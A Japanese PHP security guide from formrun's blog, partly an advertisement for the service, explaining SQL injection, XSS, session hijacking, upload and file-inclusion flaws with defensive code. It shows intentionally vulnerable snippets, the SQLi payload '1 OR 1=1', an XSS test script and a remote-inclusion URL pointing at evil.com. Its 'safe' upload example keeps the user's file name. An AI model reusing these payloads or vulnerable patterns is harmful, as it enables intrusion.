お役立ち記事

基礎知識・実用的なノウハウなどが学べるお役立ち情報をご紹介

catch-img

PHPセキュリティ完全ガイド|初心者から実務者まで安心の対策方法

PHPを使った開発では、セキュリティ対策が最も重要なテーマの一つです。攻撃の手口は年々巧妙化し、少しの油断が大きなトラブルにつながることもあります。
たとえばSQLインジェクションやXSS(クロスサイトスクリプティング)といった代表的な脆弱性は、入力処理や設定の甘さから発生するケースが多く、知らないうちに不正アクセスや情報漏えいを招いてしまうことがあります。

▼安全なフォーム作成・運用を支えるならformrun!
Web開発におけるセキュリティ対策は、今や「備えておく」ではなく「前提とする」時代です。

formrunは、ISMSおよびPマークを取得した堅牢なセキュリティ体制のもと、安全性を重視したフォーム運用をサポートします。通信・保存データの暗号化、アクセス権限の細分化、改ざん防止設計など、専門知識がなくても安心して導入可能。

PHP開発者が直面するリスクを最小限に抑え、ユーザーに信頼されるフォーム体験を提供できます。
セキュリティ対策を簡単・確実に実現する第一歩として、formrunは最適です。

目次[非表示]

  1. PHPセキュリティとは何か
  2. PHPで起こりやすいセキュリティリスクとその仕組み
  3. PHP セキュリティ対策の基本原則
  4. 実装で注意すべきPHPセキュリティコード例
  5. セキュリティ運用・監視・ログ管理
  6. PHPアプリの安全性を高める追加施策
  7. formrunで実現する「信頼されるフォーム運用」
  8. 安全で信頼されるPHP開発を、次のスタンダードに
  9. よくある質問(FAQ)

PHPセキュリティとは何か

ここでは、PHPにおけるセキュリティの基本概念と重要性を解説します。

PHPは世界中で最も広く使われているサーバーサイドスクリプト言語の一つで、WordPressなど多くのCMSやWebアプリの基盤にもなっています。その一方で、 利用者が多い=攻撃対象にもなりやすいという特徴があります。

つまり、PHPで安全な開発を行うには、リスクを正しく理解し、最新の対策を取り入れることが欠かせません。

PHPが狙われやすい理由

PHPが攻撃者に狙われやすいのは、以下のような背景があります。

  • 利用サイト数が非常に多く、攻撃効率が高い
  • 初心者でも扱いやすい言語であるため、セキュリティの理解が追いつかないケースが多い
  • フレームワークやライブラリのバージョン更新が遅れると脆弱性が残りやすい

とくに「古いPHPバージョンのまま運用している」環境では、既知の脆弱性が修正されておらず、攻撃を受けやすい状態になります。

そのため、 常に最新のPHPバージョンを利用し、セキュリティパッチを適用することが基本中の基本です。

PHPでよく狙われる攻撃手法

近年、PHPアプリを標的とした攻撃は次のように多様化しています。

攻撃手法

詳細説明

具体的な被害例

SQLインジェクション(SQLi)

ユーザーからの入力内容を利用して、データベースへのSQL命令を不正に操作する攻撃。入力フォームやURLパラメータに悪意あるSQL文を挿入し、本来アクセスできないデータの取得や改ざん、削除を行う。

全ユーザーの個人情報やパスワードの漏洩、データベース内容の改ざん・削除、管理者権限の不正取得

クロスサイトスクリプティング(XSS)

Webページに悪意のあるJavaScriptなどのスクリプトを埋め込み、そのページを閲覧した他のユーザーのブラウザ上でスクリプトを実行させる攻撃。入力フォームやコメント欄などを通じて不正なコードを挿入する。

閲覧者のCookie情報やセッションIDの盗取、フィッシングサイトへの誘導、ユーザーのブラウザを踏み台にした二次攻撃

セッションハイジャック

ログイン中のユーザーのセッションIDを盗み取り、正規ユーザーになりすましてシステムにアクセスする攻撃。通信の傍受やXSS攻撃などでセッションIDを取得し、不正ログインを行う。

他人のアカウントへの不正ログイン、個人情報の閲覧・編集、不正な購入や送金などの操作実行

ファイルアップロードの悪用

ファイルアップロード機能を悪用して、悪意のあるPHPファイルや実行可能ファイルをサーバーに送り込む攻撃。アップロードされたファイルが実行されると、サーバーの制御を奪われる可能性がある。

Webシェルの設置によるサーバー完全制御、マルウェアの配布拠点化、サーバー内の機密ファイルへのアクセス

ファイルインクルード攻撃

PHPのinclude()やrequire()関数を悪用し、攻撃者が指定した外部ファイルやローカルファイルを読み込ませて任意のコードを実行させる攻撃。LFI(ローカルファイルインクルージョン)とRFI(リモートファイルインクルージョン)の2種類がある。

システムファイル(/etc/passwdなど)の閲覧、外部の悪意あるスクリプトの実行、サーバーの完全制御

こうした攻撃を受けないためには、単に「危険な関数を使わない」だけでなく、 入力値の検証・出力時の無害化・アクセス制御などを組み合わせた総合的な対策が必要です。

PHPで起こりやすいセキュリティリスクとその仕組み

ここでは、代表的なリスクとそのメカニズムをわかりやすく紹介します。

攻撃の仕組みを理解することで、対策の意味がより明確になります。

SQLインジェクション(SQLi)

最も有名で被害が多い攻撃の一つです。

ユーザー入力値を直接SQL文に埋め込んでしまうと、攻撃者が意図的にSQL構文を操作できるようになります。

// 危険な例
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";

このようなコードに「 1 OR 1=1」のような値を渡すと、全ユーザー情報を取得されてしまいます。

これを防ぐには、 プリペアドステートメント(Prepared Statement)を使用し、入力値を自動的にエスケープするのが基本です。

クロスサイトスクリプティング(XSS)

フォームやコメント欄など、ユーザーが入力できる箇所を通じてスクリプトを挿入する攻撃です。

<script>alert('攻撃成功');</script>

このようなスクリプトが他の閲覧者のブラウザで実行されると、Cookie情報が盗まれたり、不正なリダイレクトが行われたりします。

対策としては、 出力時のエスケープ( htmlspecialchars())を徹底すること。入力時ではなく、表示時に無害化するのがポイントです。

セッションハイジャック・固定化攻撃

ログイン情報を保持するセッションIDを盗み取ったり、攻撃者が指定したIDを固定化させたりして、他人のアカウントに不正ログインする手法です。

防ぐためには以下を実施します。

  • セッション開始後に IDを再生成( session_regenerate_id(true)
  • Cookieに Secure属性・HttpOnly属性を付与
  • HTTPS通信で暗号化

これらを組み合わせることで、セッションの安全性が格段に高まります。

ファイルアップロードの脆弱性

画像アップロード機能などで、攻撃者がPHPファイルをアップロードできる状態にあると非常に危険です。

アップロードされたファイルがサーバーで実行されれば、完全に制御を奪われる可能性もあります。

防止策としては以下が有効です。

  • 拡張子とMIMEタイプを厳格にチェック
  • 実行権限を外したディレクトリに保存
  • ファイル名をランダム化して上書き防止

また、アップロード機能が不要な場合は そもそも提供しない判断も重要です。

ファイルインクルード(LFI/RFI)

include()require()で外部ファイルを読み込む際、ユーザー入力をそのまま使うと不正ファイルを実行させられる危険があります。

// 危険な例
include($_GET['page']);

攻撃者が「 ?page= http://evil.com/hack.php」のようなURLを渡すと、悪意のあるスクリプトを読み込んでしまいます。

allow_url_includeを無効にし、ファイル名はホワイトリストで制御しましょう。

PHP セキュリティ対策の基本原則

ここでは、PHP開発者が守るべき「セキュリティの基本原則」を整理します。

一つひとつの原則を意識するだけで、脆弱性リスクの大半を防ぐことができます。

入力値の検証とサニタイズ

すべての外部入力(POST、GET、Cookie、APIなど)は 信用しないことが鉄則です。

たとえば次のような検証を行います。

  • 数値なら is_numeric()や型キャストでチェック
  • メールアドレスなら filter_var($email, FILTER_VALIDATE_EMAIL)
  • 想定外の文字列は拒否(ホワイトリスト方式)

また、入力段階で検証しても、 出力時に再度エスケープ処理を行うことが重要です。

プリペアドステートメントの利用

SQLインジェクションを防ぐ最も確実な方法は、PDOやMySQLiを使ったプリペアドステートメントです。

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->bindParam(':email', $email, PDO::PARAM_STR);
$stmt->execute();

このように変数を直接SQL文字列に埋め込まず、バインド処理を通じて値を安全に扱うことができます。

セッション管理の強化

セッション情報は、アプリの「鍵」とも言える重要なデータです。

以下の設定を行い、盗聴や固定化攻撃を防止します。

  • session.cookie_secure = On
  • session.cookie_httponly = On
  • session.use_strict_mode = On

また、ログインや権限変更のタイミングで session_regenerate_id(true)を実行し、IDを都度リフレッシュします。

ファイル操作の制限と権限設定

ファイルアップロードや読み込みでは、最小限の権限だけを許可します。

  • 実行権限を外した専用ディレクトリを用意
  • chmod()で権限を600や644などに制限
  • ログでアップロード履歴を監視

万が一不正ファイルが混入しても、被害範囲を最小化できます。

PHP設定(php.ini)の見直し

PHPの設定ファイルもセキュリティに直結します。以下は最低限チェックすべき項目です。

項目

推奨設定

説明

display_errors

Off

エラーを画面に表示せずログに記録

allow_url_fopen

Off

外部URL経由のファイル読み込み禁止

allow_url_include

Off

外部ファイルのinclude禁止

open_basedir

制限あり

PHPがアクセス可能なディレクトリを限定

ここまでで、PHPの主要な脆弱性と対策の全体像を理解できました。

次の章では、 実際のコード例を交えて安全な実装方法を紹介していきます。

実装で注意すべきPHPセキュリティコード例

ここでは、実務で役立つ具体的なセキュリティ実装例を紹介します。コードを安全に保つには、 「正しく書く」ことよりも「危険な書き方をしない」ことが重要です。

安全なSQLクエリの書き方

SQLインジェクション対策には、PDOを利用したプリペアドステートメントが効果的です。

try {
    $pdo = new PDO('mysql:host=[localhost](http://localhost);dbname=testdb;charset=utf8', 'user', 'password');
    $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
    $stmt->bindValue(':email', $_POST['email'], PDO::PARAM_STR);
    $stmt->execute();
} catch (PDOException $e) {
    error_log($e->getMessage());
}

ここで重要なのは、 変数をSQL文に直接結合しないことです。

また、PDOはエラー発生時に例外を投げるため、try-catch構文で処理を安全に制御できます。

htmlspecialcharsの基本

XSS対策の定番は、出力時のエスケープ処理です。

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

ENT_QUOTESを指定することで、シングルクォートもダブルクォートも安全に変換されます。

「入力時に消毒する」よりも、「出力時に無害化する」方が柔軟かつ安全です。

セッション固定化を防ぐコード例

ログイン直後にはセッションIDを再生成し、Cookie設定で安全性を高めます。

session_start();
session_regenerate_id(true);

ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); 

これにより、JavaScript経由の不正アクセスや盗聴を防ぐことができます。

特にログイン後のリダイレクト時は session_regenerate_id()を忘れずに。

ファイルアップロードの安全管理

PHPのファイルアップロード機能は便利ですが、セキュリティ事故の温床にもなります。

次のように、拡張子・MIMEタイプ・保存先を厳格に管理しましょう。

$allowed_types = ['image/jpeg', 'image/png'];
$file_type = mime_content_type($_FILES['file']['tmp_name']);

if (in_array($file_type, $allowed_types, true)) {
$destination = '/var/www/uploads/' . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $destination);
} else {
echo "許可されていないファイル形式です。";
} 

安全なパスの指定アップロード先ディレクトリの実行権限OFFが鉄則です。

また、ファイル名をハッシュ化して保存することで上書き事故を防止できます。

セキュリティ運用・監視・ログ管理

ここでは、アプリ運用時に欠かせない「セキュリティ運用の基盤」を解説します。

セキュリティ対策はコードだけで完結せず、 運用で守る仕組みが必要です。

ログ出力の設計と分析

不正アクセスやエラーの兆候は、必ずログに現れます。

アクセスログ・エラーログを分け、重要な操作(ログイン、アップロード、削除など)はアプリ独自の操作ログに残しましょう。

また、ログを 日次で自動保存・定期分析することで、攻撃の早期発見が可能になります。

エラー表示の制御

開発中と本番環境では設定を切り替えるのが原則です。

; 本番環境のphp.ini設定例
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

エラーメッセージに内部構造を含めると、攻撃者にヒントを与える危険があります。

エラーはログにのみ出力し、ユーザーには「一般的な案内文」を返すのが安全です。

攻撃検知・通知の仕組み

ログの蓄積だけでなく、 検知と通知が重要です。

例として、ファイルの改ざんや不正アクセスを自動検出するために次のような監視ツールを活用します。

  • OSSEC:サーバーの改ざん監視
  • Fail2Ban:不正ログイン試行をブロック
  • AWS WAF:アクセスパターンから攻撃を自動遮断

特にWAFは、SQLiやXSSなどの一般的な攻撃を自動で防ぐため、Webサービスの防御力を一段引き上げられます。

PHPアプリの安全性を高める追加施策

基本対策に加えて、より堅牢なセキュリティを構築するための応用的なポイントを紹介します。

reCAPTCHAの導入

Google reCAPTCHAは、botやスパム送信を防ぐための仕組みです。

PHPでは簡単に統合でき、フォームの安全性を高められます。

$response = $_POST['g-recaptcha-response'];
$url = 'https://www.google.com/recaptcha/api/siteverify';
$data = ['secret' => 'シークレットキー', 'response' => $response];

これを活用することで、自動送信や攻撃的リクエストをブロックできます。

▼reCAPTCHAについて詳しく知りたい方はコチラの記事がおすすめです。
>>【2026年版】reCAPTCHAの費用・料金を徹底解説|無料プランの制限と有料版の違いも紹介

HTTPS通信とHSTS

TLS証明書によるHTTPS通信は、今や常識です。

さらに Strict-Transport-Securityヘッダーを設定してHSTSを有効化すれば、HTTP通信へのダウングレード攻撃も防げます。

header("Strict-Transport-Security: max-age=31536000; includeSubDomains");

権限管理(RBAC)

ユーザー権限を明確に分けることで、誤操作や不正アクセスを防止します。

たとえば管理者、編集者、閲覧者の3段階に分類し、操作範囲を限定します。

パッケージ更新と脆弱性スキャン

Composerで導入しているライブラリやフレームワークは、常に最新に保つことが必要です。

また、 composer auditコマンドで既知の脆弱性を定期チェックしましょう。

formrunで実現する「信頼されるフォーム運用」

ここでは、セキュリティ基盤が整ったフォーム作成ツールformrunを紹介します。

formrunは、単なるフォーム作成ツールではなく、 「安全性と信頼性の両立」を実現する業務基盤です。

企業情報や顧客データを扱う上で求められるISMS・Pマークにも準拠しており、通信・保存のすべてが暗号化されています。

さらに、チーム共有・承認フロー・アクセス権限の細かい制御など、ビジネス運用に欠かせない機能も充実。

セキュリティ担当者や法務部門からの信頼を得やすく、 「安心して使えるフォーム運用」を実現できます。

フォーム作成が30秒で簡単にできる

fomrunなら、フォームの設問に必要な項目をクリックやドラッグ&ドロップで配置するだけなので、非エンジニアでも迷わず作業できます。
デザインも簡単に調整できるため、デザイナーやエンジニアに依頼せずに、短時間で見栄えの良いフォームを公開可能です。

Googleフォームと比べてもセキュリティや機能が充実しており、ビジネス利用にも安心。
実際にformrunユーザーの7割がGoogleフォームから乗り換えています。

メールアドレスがあれば無料登録可能!無期限で無料プランが利用できるので、今すぐformrunでフォームを作成してみてください。

テンプレートはこちら
>>テンプレート一覧

情シスを介さずフォームの作成から運用まで行った事例を確認したい方はコチラをご覧ください
>>フォーム作成工数が10分の1に!情シス不在でもフォーム作成を内製化できた理由とは?(ブロードマインド株式会社様)

ISMS・Pマーク取得済みの万全のセキュリティ

formrun(フォームラン)の大きな魅力のひとつが、安心できるセキュリティ対策です。

「ISO 27001 (ISMS)」の認証取得やプライバシーマークの付与認定、SSL/TLSによる暗号化通信、24時間365日のサーバー監視体制など、多層的な対策がとられています。

実際、近年は大手プラットフォームや無料サービスにおいても情報漏洩や不正アクセスのニュースが後を絶ちません。

無料ツールでは不安を感じる個人情報の取り扱いも、formrunなら安心して運用可能です。
フォームは、名前・住所・メールアドレスなど大切な情報を扱うもの。

安全なフォーム運用は顧客からの信頼に直結します。セキュリティを重視する方にこそ、formrunの利用がおすすめです。

顧客管理・対応を効率化できる

formrun(フォームラン)を活用すれば、フォームで集めた顧客の対応管理まで一元化できます。

回答データは一覧で確認でき、対応ステータス(未対応・対応中・完了・発送済みなど)ごとに整理可能。
担当者ごとにフィルタリングできるので、複数人での対応も漏れやダブりを防ぎながらチーム全体で進捗を見える化できます。

さらに、メールテンプレートやAIメールアシスタントを活用すれば、返信作成もスムーズに。
顧客対応のスピードと質がどちらも向上します。

蓄積されたデータはExcelやGoogleスプレッドシート形式で出力可能。
Salesforceやkintoneなど外部ツールとの連携で、普段の業務フローにも柔軟に組み込めます。

formrunのステータス管理機能でお問い合わせ対応を削減した事例はコチラ
>>お問い合わせから最短1分で個別メール対応を実現!対応漏れをなくすためのボード画面の活用方法とは(株式会社クラス 様)

PHPでフォーム機能をゼロから構築するよりも、formrunを使うことで「開発効率」と「安全性」を同時に確保できます。

安全で信頼されるPHP開発を、次のスタンダードに

PHPのセキュリティ対策は、一度学べば終わりではなく、継続的な意識と改善が求められる領域です。
SQLインジェクションやXSSといった代表的な脆弱性も、正しい理解と基本的な対策を積み重ねることで確実に防ぐことができます。

大切なのは、「自分の書く1行がシステム全体の安全を左右する」という意識です。
その意識を持って入力検証・出力エスケープ・セッション管理・ファイル制御を丁寧に実装すれば、堅牢で信頼されるWebサービスを育てていけます。

これからPHPで安全な開発を進めたい方は、この記事で紹介した考え方と対策を一つずつ取り入れ、“攻撃に強い開発者”としての第一歩を踏み出しましょう。

▼安心安全にチームでの業務を効率化させるならformrun!
セキュアなフォーム運用を続けるには、日々の管理と安定した基盤が欠かせません。

formrunは、チーム運用を想定したアクセス制御・承認フロー・通知管理など、運用面での信頼性を重視した設計です。
顧客対応や問い合わせ対応の一元管理もスムーズで、運用負荷をかけずに品質を維持できます。

セキュリティと信頼性を両立させたい企業・開発者にとって、formrunは長期的に安心して使えるソリューションです。
継続的に安全を守りながら、ユーザーとの信頼関係を築くために、formrunの導入を検討してみてください。

よくある質問(FAQ)

Q1. SQLインジェクション対策で最も確実な方法は?

プリペアドステートメントを使用することです。SQL文と値を分離して処理することで、不正入力がSQLとして実行されません。

Q2. XSSは入力時にフィルターをかければ十分ですか?

いいえ。最も安全なのは出力時のエスケープです。入力時に制限しても、表示段階で無害化しないとXSSは防げません。

Q3. セッションIDはどのタイミングで再生成すべきですか?

ログイン直後や権限変更の際です。 session_regenerate_id(true)で常に最新のIDに更新しましょう。

Q4. ファイルアップロードで安全に運用するポイントは?

MIMEタイプ・拡張子のチェック、保存先ディレクトリの実行権限OFF、ファイル名のランダム化が基本です。

Q5. formrunのセキュリティレベルはどの程度ですか?

ISMS・Pマーク取得済みで、通信・保管データはすべて暗号化。アクセス制御や権限設定も柔軟に対応可能です。

Q6. PHPバージョンを最新に保つ理由は?

脆弱性修正が反映されるためです。古いバージョンは既知の脆弱性を含み、攻撃リスクが格段に高まります。

まずは、無料でお試ししてみませんか?

無料ではじめる

まずは無料でお試ししてみませんか?
formrunでフォームを作成する

導入相談

formrunに関する内容から、
導入に関するご質問まで、お気軽にご相談ください。

14日間の無料トライアル

14日間無料でBEGINNERプランを
お試しいただけます。

メガメニューを一時的に格納するセクション(削除しないでください)


お気軽にお試しください


formrunとは

サービス紹介資料

お役立ち情報

ISO/IEC 27001:2022 / JIS Q 27001:2023